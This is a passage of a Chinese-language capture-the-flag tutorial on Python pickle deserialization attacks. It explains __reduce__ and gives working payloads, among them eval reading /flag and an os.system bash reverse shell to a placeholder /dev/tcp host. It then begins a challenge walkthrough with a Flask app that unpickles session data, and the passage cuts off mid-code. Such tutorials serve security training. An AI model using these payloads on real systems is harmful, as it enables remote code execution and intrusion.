- 3.[[HZNUCTF 2023 preliminary\]pickle]( )
- 二.基于opcode绕过字节码过滤
-
- 如何编写
- 例题
-
- 4.[MTCTF 2022]easypickle
- 5.[2021极客巅峰 opcode]
- 4.[MTCTF 2022]easypickle
- 如何编写
一.基础的pickle反序列化
pickle反序列化危害极大,不像php反序列化依赖恶意类和方法,而是直接可以RCE
关键代码
pickle.dumps(obj[, protocol])
功能:将obj对象序列化为string形式,而不是存入文件中。
参数:
obj:想要序列化的obj对象。
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
pickle.loads(string)
功能:从string中读出序列化前的obj对象。
参数:
string:文件名称。
漏洞有关的魔术方法
__reduce__
构造方法,在反序列化的时候自动执行,类似于php中的_wake_up
__setstate__
在反序列化时自动执行。它可以在对象从其序列化状态恢复时,对对象进行自定义的状态还原。
常用payload(没有os模块)
import pickle
import base64
class A(object):
def \_\_reduce\_\_(self):
return (eval, ("\_\_import\_\_('os').popen('tac /flag').read()",))
a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))
环境有os模块
import pickle
import os
import base64
class aaa():
def \_\_reduce\_\_(self):
return(os.system,('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"',))
a= aaa()
payload=pickle.dumps(a)
payload=base64.b64encode(payload)
print(payload)
#注意payloads生成的shell脚本需要在目标机器操作系统上执行,否则会报错
所以最好所有poc在linux上生成
例题
1.[HFCTF 2021 Final]easyflask
https://buuoj.cn/challenges#[HFCTF%202021%20Final]easyflask
非预期(任意文件读取)
直接读环境变量/proc/1/environ
预期解
app源码
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session
app = Flask(__name__)
app.config["SECRET\_KEY"] = "\*\*\*\*\*\*\*"
User = type('User', (object,), {
'uname': 'test',
'is\_admin': 0,
'\_\_repr\_\_': lambda o: o.uname,
})
@app.route('/', methods=('GET',))
def index\_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"
@app.route('/file', methods=('GET',))
def file\_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'
with open(path, 'r') as fp:
content = fp.read()
return content
@app.route('/admin', methods=('GET',))
def admin\_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
r